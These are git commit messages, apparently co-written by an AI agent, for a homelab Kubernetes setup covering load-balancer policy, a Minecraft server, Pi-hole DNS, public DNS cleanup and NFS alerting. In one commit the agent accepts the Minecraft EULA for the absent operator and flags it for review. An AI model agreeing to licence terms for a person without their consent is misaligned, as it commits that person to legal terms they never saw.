8080 and 22 all RST, from the pod IP and from 10.0.2.2 directly, so the VIP and the CNP are
exonerated. install-uos therefore bails out the moment systemd knows a uosserver.service —
without that guard this change would have reinstalled over a working controller.
There was also no way into the guest at all: no key, no password, and 22 is not a declared
masquerade port so SSH cannot work by construction. Hence console-password.
README corrections (it doubles as the rebuild runbook and was misdirecting):
* VIP 192.168.1.54 -> 192.168.2.21; pool 192.168.1.53-.60/.53 -> 192.168.2.20-.30 with the
Gateway on .20; device subnet 192.168.1.0/24 -> 192.168.2.0/24; node k3s-dev-1 -> k3s-prod-1.
All re-read live (pool blocks, cluster-vars, the Service EXTERNAL-IPs, LAN_CIDR).
* "UOS is NOT installed" -> it is; the real fault is the lost IP, with the evidence table.
* "apps-vms must NOT use postBuild.substituteFrom" -> it has since 2026-08-31 and the escape
contract is in force.
* "install-uos is no longer baked into the guest" -> it was baked in, and it was broken twice
over (an unverified firmware API, and no `install` subcommand).
* "SSH in, cloud-init installs the operator's key" -> it installs none, and 22 is not forwarded.
* externalTrafficPolicy Local -> Cluster (the 8-day outage fix already in 50-service-l4.yaml).
* 60 GB -> 40Gi (the DataVolume and the Bound PVC); "10 GB minimum" -> ~25 GB.
* userDataSecretRef -> the YAML key is `secretRef`.
* 90-httproute-optional.yaml referenced as if it existed; it was dropped.
Unattended install, honestly: Ubiquiti documents no silent flag, no answer file, no env vars.
`yes y | <installer> install` is the convergent community practice and is what ships here, with a
bare-invocation fallback. It has NOT been run end-to-end on our guest. The installer URL also
does not look signed or time-limited — it is account-derived and per-release; it is in SOPS
anyway, but nothing should depend on expiry.
The running VM was not touched: no restart, no migration, no re-import. Every cluster call was a
read or an explicit --dry-run=server; the live VM still carries firmware uuid ...c07 and the
34h-old virt-launcher pod is untouched. The change takes effect on the operator's next VM restart.
Co-Authored-By: Claude Opus 5 <[email protected]>
Records the EULA acceptance prominently with revocation instructions, the
Server List Ping proof, and Crafty's autostart trap where the create API
accepts 'autostart' but stores 'auto_start'.
Also corrects my own claim that the crafty world was unbacked: I grepped
PodVolumeBackup names, which never contain the namespace, and read the empty
result as a finding. Crafty had 2 PVBs in the last run. The real gap was only
that the last run predated the world, so I took a one-off backup —
crafty-world-202609140709, Completed, 328 MiB captured to R2.
Co-Authored-By: Claude Opus 5 <[email protected]>
Crafty was healthy but had never had a server created — /crafty/servers was
empty, which is why the port refused. Paper 26.2 (Mojang's latest.release,
jar SHA256-verified by Crafty) with a 2 GiB heap sized from measurement: with
the server running the container cgroup reported 2.86Gi against a 4Gi limit,
so a 3 GiB heap would have risked OOMKill.
EULA ACCEPTED ON THE OPERATOR'S BEHALF — https://aka.ms/MinecraftEULA — via
Crafty's agree_to_eula, writing eula=true. A server refuses to start without
it and the operator asked for the service brought up while asleep. No account,
key or payment involved. To revoke: stop the server and set eula=false, or
delete the server.
Proven playable by a real Server List Ping handshake from the LAN, not merely
an open port: MOTD, Paper 26.2, protocol 776, 0/20 players, 12.3 ms RTT.
Caught a trap worth recording: Crafty's create API ACCEPTS and validates
'autostart' but stores 'auto_start', so it silently read back false. Only
reading the record back caught it; trusting the create call would have
reported autostart working while the server stayed dead after any restart.
Fixed by PATCH and then proven — deleting the pod moved Crafty prod-3 ->
prod-1 and it auto-started with the same world, which also independently
re-confirms the externalTrafficPolicy: Cluster fix, since under Local the VIP
would have blackholed exactly there.
Raises crafty's memory request 1Gi -> 3Gi (limit untouched): a permanently
committed 2 GiB heap made the old request understate real usage threefold,
misleading the scheduler and making this Burstable pod an early eviction
candidate.
ACTION TAKEN ON THE OPERATOR'S BEHALF WHILE THEY SLEPT: I accepted Mojang's
Minecraft End User Licence Agreement, https://aka.ms/MinecraftEULA, by passing
agree_to_eula to Crafty's v2 API, which wrote eula=true into
/crafty/servers/<uuid>/eula.txt. A Minecraft server will not start without it,
and bringing this service up was what was asked for. Please review. To revoke:
stop the server and set eula=false in that file, or delete the server.
Crafty was healthy but had never had a server created, so 192.168.2.22:25565
refused connections. Created "homelab" via the API (not UI automation):
Paper 26.2, TCP 25565, heap -Xms2000M -Xmx2000M, autostart on
uuid 13c7b85d-00bb-4a58-8c86-2433ca47891c
Paper over Vanilla for tick performance and plugins, with no cost to players
(vanilla clients connect unchanged). 26.2 is Mojang's latest.release, out
2026-06-16; the 26.3-rc-2 snapshot and 26.2-rc-2 were deliberately avoided.
The 2 GiB heap was measured rather than guessed: with the server running the
cgroup reported memory.current 2.86Gi against the 4Gi limit, so a 3 GiB heap
would have risked an OOMKill.
Proven playable, all real output: Crafty reports running with 'Done (12.737s)!';
Server List Ping succeeds from a pod on k3s-prod-1 against the pod IP, the
ClusterIP and the VIP while crafty ran on k3s-prod-3; and from the LAN the
workstation gets MOTD 'A Minecraft Server', version 'Paper 26.2', protocol 776,
players 0/20 over a full handshake plus ping/pong. Deleting the pod moved Crafty
to another node; it auto-started with no manual action and the LAN ping still
succeeded, re-confirming the externalTrafficPolicy: Cluster fix from adda6dd.
Repo change is one line of substance: the crafty container's memory REQUEST goes
1Gi to 3Gi, because a permanently committed 2 GiB heap makes a 1Gi request
understate real usage roughly threefold and makes this Burstable pod an early
eviction candidate. Limit stays 4Gi. L4 Services, NetworkPolicy and PVC size are
untouched; egress already allowed world, so the jar download needed no new rule.
Trap recorded in both the README and the log: POST /api/v2/servers accepts and
validates autostart/crashdetection but never persists them — the stored columns
are auto_start/crash_detection and need a separate PATCH. Trusting the create
call would have left the server dead after the next restart.
The server is APP STATE, not git: Crafty's SQLite row plus /crafty/servers/<uuid>
including the generated world, both on the Longhorn PVC. A rebuild from git alone
gives an empty Crafty and a refused 25565. The world is irreplaceable and now
makes the open no-backups gap materially worse.
Co-Authored-By: Claude Opus 5 <[email protected]>
I reported the UniFi controller and Minecraft server as unreachable for up to 8
days. Probing the backend pods directly, bypassing VIP and policy, returns
REFUSED on all four ports while crafty's own UI and pihole's DNS answer as
controls. /crafty/servers is empty and the unifi README still lists installing
UOS in the guest as the open blocker. Nothing regressed.
The externalTrafficPolicy defect is real and is fixed, but it was not the cause.
I observed unreachable ports, found a mechanism that produces unreachable ports,
and concluded it was the cause without running the one control probe that
separates them — the same error shape as nearly blaming the drive for the I/O
pressure spike when the local disks were idle.
Co-Authored-By: Claude Opus 5 <[email protected]>
Cilium's L2 announcer elects a lease holder without regard to which nodes hold
a backend, so externalTrafficPolicy: Local leaves the frontend absent from the
announcing node's service table entirely and the VIP answers ICMP unreachable.
Proven causally with cilium-dbg service list: under Local the frontend is
missing from prod-2; flipped to Cluster it appears as an active backend entry;
flipped back it vanishes. Durability proven too — cordon prod-1, crafty
reschedules to prod-3, and prod-1's UDP lease re-points to the new backend with
no intervention, which under Local is exactly the failure mode.
IMPORTANT CORRECTION to my own framing: this is NOT why unifi and crafty do not
answer, and fixing it does not make them answer. There is no application behind
any of those ports. /crafty/servers is empty — no Minecraft server has ever been
created — and apps/vms/unifi/README.md step 5 still reads 'NEXT: install UOS in
the guest', with the unattended install flagged as the open blocker. Probing the
pods directly, bypassing VIP and policy, returns REFUSED on all four ports while
crafty's own UI and pihole's DNS answer as controls. Nothing regressed; the
8-day-old leases are just 8-day-old Services. I called it a live outage and it
was not.
What this commit does is remove a landmine that would have blackholed both VIPs
the moment those applications exist.
Client-IP cost assessed per service rather than assumed: zero for UniFi, whose
KubeVirt masquerade binding already NATs everything into the guest, so Local was
protecting an address the controller could never observe; real but acceptable for
Crafty, where player identity is a Mojang UUID so bans and whitelists are
unaffected, with /ban-ip documented as do-not-use. loadBalancerSourceRanges
deliberately NOT copied from the Pi-hole pattern: those Services never had a LAN
restriction, and adding one during a fix could cut off off-LAN players.
Cilium DSR mode is recommended separately, not bundled — it carries an Ansible
parity contract and rolls the CNI across all three nodes.
Cilium's L2 announcer elects one node per Service to answer ARP for its
LoadBalancer VIP, and that election is NOT backend-aware. Combined with
externalTrafficPolicy: Local -- which lets a node deliver only to a backend on
itself -- an elected announcer holding no backend answers ARP for the address
and then has nowhere to send the packet, so the client gets ICMP port
unreachable. It never self-heals: the lease holder keeps renewing after the
backend moves away.
Measured on prod 2026-09-14: unifi's VM ran on k3s-prod-1 with both leases on
k3s-prod-2, and crafty's pod ran on k3s-prod-1 with the -tcp lease on
k3s-prod-2 while its identical -udp twin happened to draw k3s-prod-1 and
worked. Confirmed causally on the announcing node with `cilium-dbg service
list`: under Local the frontend 192.168.2.22:25565 is absent from that node's
service table entirely; under Cluster it appears as `1 => 10.0.0.11:25565
(active)`; flipped back, it vanishes again. Durability confirmed by cordoning
k3s-prod-1 and moving the crafty pod to k3s-prod-3, after which the announcing
node re-pointed to the new backend with no intervention.
Both files also carried a comment claiming Local "pins the VIP to the node
running the pod", which is the precise thing that is false here; both are
rewritten. apps/wave-0/pihole-dns.yaml is the reference implementation.
The client-IP cost is stated per service rather than waved away. For unifi it
is ZERO: the VM's KubeVirt `masquerade` binding already SNATs everything into
the guest, so Local was never preserving a client address the controller could
see. For crafty it is real and accepted -- player identity is a Mojang/Xbox
UUID so /ban and the whitelist are unaffected, but /ban-ip would hit every
player at once and must not be used; no IP ban or per-IP rate limit is
configured today.
No loadBalancerSourceRanges here, deliberately departing from pihole-dns.yaml:
these Services never had a source restriction (their CNPs admit `world`), so
Cluster removes no protection, and adding a LAN-only filter during an outage
fix could cut off off-LAN players or a remote site's device informing.
No CiliumNetworkPolicy change is needed, and that was verified rather than
assumed: Cilium's `cluster` entity subsumes `remote-node`, confirmed by
dumping the crafty endpoint's datapath policy map with the CNP unmodified
(`reserved:remote-node` was already an Allow on the game ports). Unlike
pihole, whose policy omits `cluster` and must name remote-node explicitly.
Adds an L0 whole-repo guard for the class. It fails on the pre-fix tree with
exactly these four Services named and passes after. whole-repo scope is
necessary: ci/touched-requirements.sh has no arm for apps/* or
platform/crafty/*, so the change most likely to reintroduce this would
attribute no requirement and be gated by nothing.
HONEST LIMIT -- this does NOT end the reported outage. All four ports also
have no listening backend: UniFi OS was never installed in the VM (its README
flags this as the open blocker) and /crafty/servers is empty, so no Minecraft
server exists. Probed directly from the node, bypassing the VIP entirely,
10.0.0.74:8443/:8080/:11443 and 10.0.0.11:25565 all refuse, while the two
controls answer. This commit fixes a real latent defect that would have
blackholed those VIPs once the applications exist; it cannot make an absent
application answer.
Co-Authored-By: Claude Opus 5 <[email protected]>
The spec and README both claim a LAN split-horizon via Pi-hole; it never
existed. Pi-hole's Service was ClusterIP with ports 80 and 4180 only, so LAN
clients depended on hand-maintained per-client dnsmasq files — one of which
went stale after the dev decommission and cost access to sonarr.
Now DNS on udp/53 + tcp/53 on a pinned pool VIP 192.168.2.23, with the zone
answered as a wildcard to the Gateway VIP plus longest-match overrides for the
two hostname-publishing L4 Services. Declared via Pi-hole v6 FTLCONF env vars,
which FTL treats as env-forced and applies at cold start — a real declarative
entry point, unlike the Keycloak secret and CNPG grant whose reconcilers exist
precisely because no such knob is available.
Two defects found on the way. The live pod carried hand-set upstreams marked
'### CHANGED' that no manifest knew about, so any restart would have left
Pi-hole with upstreams = [] and no recursion at all; FTLCONF_dns_upstreams now
declares them. And /etc/pihole is not on the config PVC, which mounts at
/data/config, so that volume has been holding nothing.
Deviates from the unifi/crafty pattern deliberately: externalTrafficPolicy
Cluster, not Local. Cilium's L2 announcer does not filter by which nodes hold a
backend, so with Local an announcing node without the pod answers ICMP port
unreachable — measured 1-in-3 per protocol, and it does NOT self-heal: a
cordoned node kept renewing its lease for over three minutes with LAN DNS dead.
The LAN restriction moves to loadBalancerSourceRanges, enforced in eBPF on the
VIP, and rate limiting is disabled because SNAT makes the whole LAN look like
one client.
Proven from the workstation in the worst case — pod and both protocol leases on
three different nodes: wildcard, both overrides, recursion over udp and tcp,
NXDOMAIN outside the zone, NODATA for AAAA, source-range drop when excluded,
and survival of a cross-node reschedule with no intervention.
platform/coredns/coredns-custom.yaml has always said its split-horizon is for
PODS and deferred LAN clients to "PiHole split-horizon". PiHole served no DNS:
its Service was ClusterIP with ports 80 and 4180 only. The LAN half of R-DNS-03
that docs/09 and the README's Phase 2 row both claim did not exist, so LAN
clients ran on hand-maintained per-client dnsmasq files - one went stale after
the dev decommission and cost the operator sonarr.home.keithjackson.dev. The
SOHO router that owns 192.168.2.0/24 cannot cover for it either: it strips
RFC1918 answers for public domains as rebind protection and returns NOERROR
with no answer.
EXPOSURE (apps/wave-0/pihole-dns.yaml, hand-written, placed into wave 0 by
render.py's EXTRA_UNITS - the schema has no field for a LoadBalancer Service, a
pinned lbipam VIP, a sharing key, source ranges or UDP, the same reason
apps/vms/unifi and platform/crafty hand-write theirs):
- two Services, udp/53 and tcp/53, sharing one pinned VIP
${PIHOLE_DNS_VIP} = 192.168.2.23 on prod, the next free address in the
.20-.30 pool (pool status IPsUsed 3 of 11; .20 Gateway, .21 unifi, .22
crafty; arping from a LAN host got no reply).
- no external-dns hostname annotation: nothing public is created, and
platform/externaldns/ is untouched.
ANSWERS (catalog/pihole.yaml env - declarative, no reconciler): PiHole v6 takes
every FTL setting as an FTLCONF_ environment variable and treats it as
env-forced, applied ahead of pihole.toml on every cold start and read-only in
the UI. That is a real declarative entry point, which the Keycloak and CNPG
CronJob reconcilers exist precisely because their state lacks, so a reconciler
here would be ceremony. misc.dnsmasq_lines carries a wildcard
address=/<zone>/<GATEWAY_VIP> plus one longer-domain override per L4 service
(unifi, crafty-mc, pihole-dns); dnsmasq resolves overlaps by longest matching
domain, so precedence is structural and a newly onboarded Gateway-fronted
service needs no DNS change. dns.upstreams is declared too - the live pod
carried hand-set upstreams that no manifest knew about and that every restart
discarded.
externalTrafficPolicy Cluster, NOT Local, and loadBalancerSourceRanges for the
LAN restriction. Measured on prod, Cilium 1.20.1: the L2 announcer does not
filter lease candidates by which nodes hold a backend - the two Services landed
on k3s-prod-3 and k3s-prod-2 while the pod ran on k3s-prod-1 - and it keeps
renewing after the pod moves away, so with Local a reschedule leaves LAN DNS
dead indefinitely. Cluster serves the VIP from any node; the LAN restriction
moves to loadBalancerSourceRanges, which Cilium enforces in eBPF on the VIP
before load-balancing (verified by narrowing the range to exclude the test
client and back). The cost is SNAT: forwarded queries reach PiHole from the
ingress node, so PiHole's per-client rate limit is disabled in the catalog or
the whole LAN would count as one client against its 1000-per-60s default.
Proven from a LAN host (192.168.2.132) against 192.168.2.23 with the pod and
both leases on three DIFFERENT nodes: sonarr/grafana/nextcloud/keycloak/apex
-> 192.168.2.20, unifi -> .21, crafty-mc -> .22, pihole-dns -> .23, recursion
(cloudflare.com, github.com, debian.org) intact over both udp and tcp, AAAA
NODATA, NXDOMAIN outside the zone, and still answering after a forced
prod-1 -> prod-2 reschedule.
Co-Authored-By: Claude Opus 5 <[email protected]>
docs/09 R-DNS-03 and schemas/renderer-contract.md both said an `internal`
service renders no public DNS record. Nothing enforced either sentence.
ExternalDNS's `gateway-httproute` source admitted EVERY HTTPRoute on the shared
Gateway, so six `exposure: internal` services — jackett, pihole, qbittorrent,
radarr, semaphore, sonarr — published `<name>.home.keithjackson.dev` into the
public authoritative Cloudflare zone answering with the Gateway VIP
192.168.2.20. That published the internal subnet, the Gateway VIP and a full
service inventory to anyone who could guess a label, and made each of those
names a DNS-rebind primitive — which is why the SOHO router strips RFC1918
answers and LAN clients need per-client dnsmasq overrides to reach their own
services.
THE MECHANISM, established against the DEPLOYED version rather than from
memory. The live prod Deployment runs
registry.k8s.io/external-dns/external-dns:v0.21.0. In v0.21.0,
source/annotations/processors.go IsControllerMismatch() skips a source object
whose `external-dns.alpha.kubernetes.io/controller` annotation is present and
!= its own `dns-controller`, and source/gateway.go applies that check inside
Endpoints() BEFORE any hostname is resolved; source/service.go applies the
identical check, covering the second configured source. catalog/render.py now
emits that annotation on every HTTPRoute it renders for an `internal` service,
derived from `exposure` alone — no per-service list — so a service that omits
`exposure` inherits the internal default and is unpublishable too. Verified
LIVE on prod on a throwaway hostname with no existing record at risk: the
annotated route published nothing, and adding the annotation to a route that
already had a record produced action=DELETE for both its A record and its `a-`
TXT registry entry one ~60s reconcile later, moving nothing else in the zone.
WHY PER-RESOURCE AND NOT A CLUSTER-WIDE OPT-IN FILTER. `labelFilter` is the
stronger default posture and v0.21.0 supports it for both configured sources,
but nine publishing objects here are hand-authored platform/apps manifests with
no `exposure` field, seven of which hold live records (auth, crafty, crafty-mc,
grafana, headlamp, the apex, unifi). An opt-in filter deletes all seven at
once, and whether each should be publicly resolvable is an operator decision
per name. Per-resource exclusion has exactly the blast radius of the defect;
the seven are enumerated in a shrink-only register so the unadjudicated set
cannot grow silently, and the filter stays available as hardening afterwards.
`policy: sync`, `txtOwnerId` and `domainFilters` are UNTOUCHED. Per-resource
exclusion only ever removes an object from this instance's view, so nothing
here makes prod capable of deleting a record it does not own.
WHAT THIS DELETES, and it is not reversible by a revert alone: 12 records — the
A record and the `a-`-prefixed TXT registry entry for each of jackett, pihole,
qbittorrent, radarr, semaphore and sonarr. The zone has no
`*.home.keithjackson.dev` wildcard and `*.keithjackson.dev` does not match two
labels, so each becomes a public NXDOMAIN with no fallback. The complete
pre-state is captured at the authority and committed as a recovery baseline
(.standup-dns/dns-20260914-pre-externaldns-scope.txt), with the restore
procedure for both halves of a record.
MERGE ORDER IS NOT OPTIONAL: feat/pihole-lan-dns-authority must land and be
verified first. Removing these records while the LAN still depends on them,
with the router stripping RFC1918 and no internal authority yet, breaks name
resolution outright.
The five `exposure: public` services are LEFT UNCHANGED and still answer with
the Gateway VIP, so they remain publicly unreachable. That is two open operator
decisions, both written up in platform/externaldns/helmrelease.yaml: what
address they should answer with (136.51.115.252 is the legacy non-k3s stack
serving a placeholder cert, not established as correct for this cluster), and
how to separate them from the non-public names that share the Gateway —
because in v0.21.0 the target annotation is read only from the GATEWAY and a
ListenerSet, never from an HTTPRoute, so a per-service override is not
expressible while they all attach to `shared`. No knob is added for it yet: one
that cannot take effect invites someone to set it and expect one.
Guard: conformance/tests/l0-static/internal-services-publish-no-public-dns, a
whole-repo-scoped L0 static check (no ci/l0.sh stage — the
whole-repo-invariants-wired meta-test forbids one). It asserts both directions
(present on internal, absent on public), the `service`-source half, that the
renderer DERIVES the annotation from `exposure` and cannot emit external-dns's
own claiming value, proves the shipped renderer end-to-end on
internal/public/omitted-field fixtures, and ratchets the non-catalog register.
Proven to fail on the pre-fix tree (9 of 53 assertions, naming all six
services) and pass after (56/56).
Schema 1.6.0 -> 1.7.0: no field changes, a mapping change to `exposure`.
Co-Authored-By: Claude Opus 5 <[email protected]>
Operator-reported, verified. external-dns runs provider cloudflare with
gateway-httproute + service sources and publishes the Cilium Gateway VIP
192.168.2.20, so ~16 hostnames in a public authoritative zone answer with
RFC1918 space. The spec says the opposite: external resolves to the public IP,
Pi-hole serves the internal split-horizon answers, internal services are
unreachable from the internet.
Provenance stated plainly: the pattern predates me — external-dns always
published the Gateway address, and dev did the same under owner=default. My
apex migration changed which names carry it, propagating an existing flaw onto
the apex rather than inventing it.
Four consequences recorded: topology and service-inventory disclosure; a
DNS-rebind primitive, which is why the SOHO router strips these answers and
LAN clients need per-client overrides; the five services declaring exposure
public are not actually publicly reachable; and seven internal services are
publicly advertised.
Also records why deleting the records is not a safe first step: the
*.home.keithjackson.dev wildcard is gone, so removal yields NXDOMAIN rather
than a fallback. Remediation sequenced, nothing started.
Co-Authored-By: Claude Opus 5 <[email protected]>
Handed an agent a baseline of 4.0-4.8 ms/op response, 0 ms/op queue, 0 major
timeouts over 24h. Re-measurement found queue time is 0.013-0.067 ms/op (I read
rounded output as zero); the 24h claim was really ten minutes, because the
DaemonSet had just rolled and the range query returned 18 samples rather than
~2,880; and the baseline was idle, so 4.4 ms is a cached STATFS rather than real
media I/O and thresholds could not be multiples of it.
The 24h error is the same class as the label-values mistake recorded above:
trusting a query whose window was never valid.
Records two real discoveries: mounts sharing an NFS superblock share kernel RPC
statistics, so prod-1's two plex mounts are one signal reported twice; and
maximum_rpc_slots high-water is 586 on prod-1 against 2 on prod-2, an
independent indication that prod-1 carries far more concurrent NFS work.
Co-Authored-By: Claude Opus 5 <[email protected]>
Closes the gap the previous agent correctly left open: it could not write a
rule against node_mountstats_* because the series did not exist until the
collector rolled out, and the L0 guard rightly rejects a rule on an unscraped
metric. 1,842 series are now live, so five rules land.
The discriminator is the point. response_time is how long the SERVER held the
request; queue_time is how long it waited on our node for an RPC slot. Both
server rules carry 'unless queue_time/op > 5ms', so a queueing client can never
be reported as a slow server, and the two server rules then partition the same
slow-server state by our own op rate at 20/s — exactly one fires, no gap and no
overlap. Plus major timeouts as critical, since that is hanging rather than slow.
Corrects three figures I had supplied from bad measurements: client queue time
is 0.013-0.067 ms/op, not zero; 'zero major timeouts over 24h' was really zero
over about ten minutes, because the DaemonSet had just rolled and the range
query returned 18 samples rather than ~2,880; and the baseline was an IDLE one
whose 4.4 ms is a cached STATFS, so thresholds are argued from the link and the
array rather than as a multiple of it.
Also found that mounts sharing an NFS superblock share the kernel's RPC
statistics — prod-1's plex and plex/downloads report identical rates to every
digit — so one slow export raises two alerts. Documented rather than aggregated
away, since aggregating would hide which path is affected.
14 mutations, all killed. Runbook triage table 10 rows -> 15, with 'not
collected' stated plainly for both past incidents because the collector
postdates them and that cannot be backfilled.
Closes the gap `feat/io-pressure-diagnostic-context` deliberately left open. That
change enabled node-exporter's `--collector.mountstats` and recorded its own honest
limit: "an NFS export that is merely SLOW cannot be distinguished today", because
node_mountstats_* did not exist on prod until the HelmRelease rolled and the L0 guard
alert-metrics-have-scrape-targets rightly refuses a rule on an unscraped metric.
The rollout has landed. Verified on prod 2026-09-15: 1,842 node_mountstats_* series
(~0.4% of a 451,650-series head), six mounts, 426 per-operation series in each of the
five operation families and 6 in each transport family. Every metric referenced below
returns series under `promtool query instant`.
FIVE RULES in platform-health.node-io-cause, each naming its cause in `summary`:
NFSExportServerSlow response_time > 50 ms/op, our op rate > 20/s,
queue_time < 5 ms/op -> the server is slow BECAUSE OF US
NFSExportServerSlowNotOurLoad same, but our op rate 1-20/s -> the server is slow and
the load is NOT OURS. This is the operator's Proxmox
hypothesis made testable.
NFSClientQueueTimeHigh queue_time > 5 ms/op -> WE are saturating the transport
NFSTransportBacklogDeep backlog depth > 8 per send -> even the grown slot table is full
NFSExportMajorTimeouts any major timeout in 15m -> the export is HANGING (critical)
THE DISCRIMINATOR. mountstats splits a slow NFS op into the half the server owns
(response_time) and the half we own (queue_time). High response with low queue means the
SERVER; high queue means US. The two server rules then partition that state by our own op
rate at 20/s, so exactly one of them can fire and it names which reading applies. The
`unless queue_time > 5ms` clause is what licenses reading response_time as a statement
about 192.168.2.102 rather than about us, and it is pinned by fixture 5 (a client queueing
30 ms/op while the server appears to take 60 ms/op: both server rules must stay quiet).
MEASURED BASELINE, prod 2026-09-15, re-measured for this change:
server response time 4.40-4.81 ms/op (30m window), uniform across all six mounts
client queue time 0.013-0.067 ms/op; snapshot maximum 0.333 ms/op
our own op rate 0.019-0.163 ops/s — STATFS keepalive and nothing else
major timeouts 0 on every mount
backlog depth 0 on every mount
slot-table high-water 586 (prod-1), 162 (prod-3), 2 (prod-2)
THREE LIMITS ON THAT BASELINE, recorded in the rules and the runbook rather than papered
over:
(a) the history is MINUTES, not days — the series begin when the DaemonSet rolled
(count_over_time(...[24h]) returned 18, and time() - process_start_time_seconds read
558-561 s on all three nodes), so no rule uses a range longer than 15m;
(b) it is an IDLE baseline — STATFS keepalive only, no READ/WRITE traffic, so the 50 ms
threshold is argued from the link and the array (one outstanding 1 MB read at 50 ms is
20 MB/s) and must be re-cut after the first real media event. The runbook carries the
query;
(c) prod-1's /mnt/Storage/plex and /mnt/Storage/plex/downloads report byte-identical
per-operation counters (0.12443893333333335 on both, to every digit), as do prod-3's two
nextcloud mounts — mounts sharing one NFS superblock share the kernel's RPC statistics.
One slow export on prod-1 therefore raises two alerts. Documented, not aggregated away.
PROOF, not assertion. platform/monitoring/tests/nfs-export-latency.test.yaml: seven fixtures
(measured healthy; healthy under 60 ops/s of real load; server-slow-ours; server-slow-not-ours;
client-backed-up; backlog-deep; export-failing), and every fixture asserts all five alertnames
in the fires or the quiet direction. The measured baseline is pinned as a band, the
shared-superblock duplication is pinned, and both hazards the sibling recorded are asserted:
the PromQL precedence trap (`(ratio) and rate(ops) > 1 > 0.050` returns a series on a healthy
60 ops/s mount; the shipped form returns none) and the op-rate guards (a mount doing half an
operation a second at 1 s/op response, 1 s/op queue and 20 deep in the backlog — 20x, 200x and
2.5x the three thresholds — must stay silent).
MUTATION-CHECKED, 14 mutations, every one of them making the test file FAIL: each of the five
thresholds moved in both directions where the fixtures allow it, both `unless` clauses deleted,
and all four rate guards loosened. The two clause deletions fail with an exp/got alert diff,
not a parse error. No threshold here is pinned only by a promql_expr_test restating it.
Live on prod, all five shipped expressions return NO series while all four of their
sub-expressions return six each — so the silence is a verdict, not missing data.
runbooks/node-io.md: the triage table grows from 10 rows to 15 (per-export server response
time, client queue time, our own demand, major timeouts, backlog depth), with real measured
HEALTHY values and an explicit "not collected" in both incident columns, because the collector
postdates both events and that can never be backfilled. A new four-way verdict table reads rows
11-13 together and maps each combination to the alert that says it.
HONEST REMAINING GAP: these rules rule US out; they cannot rule Proxmox IN. The per-client view
of an export exists only on the server. What would settle it is one read on 192.168.2.102 while
NFSExportServerSlowNotOurLoad is firing — `nfsstat -s` and /proc/fs/nfsd/clients/*/info — which
is out of scope from this repo. Recorded in the runbook.
Co-Authored-By: Claude Opus 5 <[email protected]>
I recorded that NFS was 'entirely unmonitored' with 'zero NFS observability',
based on a __name__ label-values query that came back empty. The query was at
fault: count({__name__=~"node_nfs.*"}) returns six live families on all three
nodes, and the nfs collector is on by default.
The real gap is narrower — node_mountstats_* is absent, and that is the one
carrying per-mount RPC round-trip time, so NFS latency specifically is
invisible while volume and retransmissions are not.
Two further signals already existed and had simply never been queried:
container_pressure_io_stalled_seconds_total, which names the stalling workload
and for tonight names sonarr; and etcd_request_duration_seconds via the
apiserver job, which the node-io runbook had explicitly claimed did not exist.
Also tempers the Proxmox hypothesis I floated: prod-1 was doing 114 NFS reads/s
of its own during the spike, so our traffic is substantial and the stall is not
obviously unexplained by us.
Co-Authored-By: Claude Opus 5 <[email protected]>
NodeIOPressureCritical fired on prod-1 and said nothing about why; establishing
'not a failing drive' took eight ad-hoc queries after the fact. Eight new rules
each name a class in the summary — device saturation, device latency, NFS
transport, etcd, not-local-disk, and which container is stalled — with the
companion PromQL in a diagnostic_query annotation, a WHY row on the existing
dashboard, and a 10-row triage table in runbooks/node-io.md carrying real
HEALTHY / 2026-09-14 / 2026-09-07 columns.
The discriminator is NodeIOPressureNotLocalDisk, written with 'unless' rather
than 'and ... < T' on purpose: an empty right-hand side removes nothing, so it
still fires when devices are too idle to have a measurable per-op latency —
'and <' would go silent in exactly the state it exists to detect.
Acceptance is checked against both real profiles. Tonight: NotLocalDisk fires
and ContainerIOStallHigh names sonarr. 2026-09-07 re-queried live at offset
164h: 1,039 ms per write on prod-1 sda, so the latency rules fire and name the
device while NotLocalDisk correctly stays silent. Healthy state: all quiet.
10 mutations applied, 10 killed — one initially survived and exposed a
threshold pinned only by a test that restated it.
Corrects two claims: the runbook said no etcd fsync metric exists, but
etcd_request_duration_seconds is present via the apiserver job and attributes
per node; and container_pressure_io_stalled_seconds_total was already scraped
with ~400 series and unqueried.
Also fixes two bugs found in the work itself: a PromQL precedence error where
'ratio and rate(ops) > 10 > T' compares T against the op rate rather than the
ratio, and node-exporter extraArgs replacing rather than appending, which would
have silently dropped the chart's filesystem excludes.
Verified against the chart (helm show values prometheus-community/prometheus-node-exporter)
and against the live DaemonSet's argv on prod: the subchart's extraArgs default is
NOT empty — it ships the two filesystem excludes
(mount-points-exclude for /dev,/proc,/sys,containerd,docker,kubelet and the
fs-types-exclude list). Setting extraArgs to just --collector.mountstats would have
silently dropped both, so the filesystem collector would have begun reporting every
container overlay and every kubelet bind mount: a large cardinality jump, and a
behaviour change in NodeDiskFillingUp, which alerts per mountpoint. Both defaults
are now restated verbatim alongside the new collector, with a note to re-reconcile
them on a chart upgrade.
Co-Authored-By: Claude Opus 5 <[email protected]>
node-io-cause.test.yaml's healthy fixture asserts NodeIOPressureHigh and
NodeIOPressureCritical quiet on the same measured prod state the eight new cause
rules are pinned against — the point of that fixture being that the detectors and
the cause rules must agree about what "healthy" is. The shrink-only register
entries are therefore stale, and the gate correctly refused them.
Co-Authored-By: Claude Opus 5 <[email protected]>
NodeIOPressureCritical has now fired twice on k3s-prod-1 for opposite causes and
said the same thing both times. On 2026-09-14 02:40-02:45Z it fired at PSI(full)
20.98% — twice the threshold, four times the 2026-09-07 level — while every local
device was idle (0.09-0.27 utilisation) and fast (1.4-4.8 ms per write), NFS
retransmissions were zero and no Longhorn volume was degraded. Establishing that
took eight ad-hoc PromQL queries after the event had already recovered.
Adds the group platform-health.node-io-cause: eight rules, one per cause class,
each naming its cause in its own summary.
NodeDiskDeviceSaturated device saturation >0.85 busy, 10m
NodeDiskWriteLatencyHigh device latency >20ms/write, 10m
NodeDiskWriteLatencyCritical device latency >50ms/write, 5m
NodeDiskReadLatencyHigh device latency >250ms/read, 15m
NodeNFSRetransmissionRateHigh NFS transport >1% retransmitted, 10m
NodeIOPressureNotLocalDisk not local disk PSI>10% with all of the above absent
NodeEtcdRequestsSlow etcd >0.5% of etcd requests over 1s
ContainerIOStallHigh which workload per-container PSI >15%
Every threshold is measured on prod over 24-48h, not guessed, and each rule
records its headroom. The PSI thresholds themselves are deliberately unchanged:
the 21% stall was real, it fired twice in 24h for two real events on the one node
that has a problem, and raising the bar would also have raised it above the 11.36%
at which prod-1 was already losing etcd on 2026-09-07.
Context reaches the operator at page time three ways: the summary states the cause
class; every rule carries a diagnostic_query annotation with the exact companion
PromQL; and node-pressure-dashboard.yaml gains a WHY row (seven panels) plotting
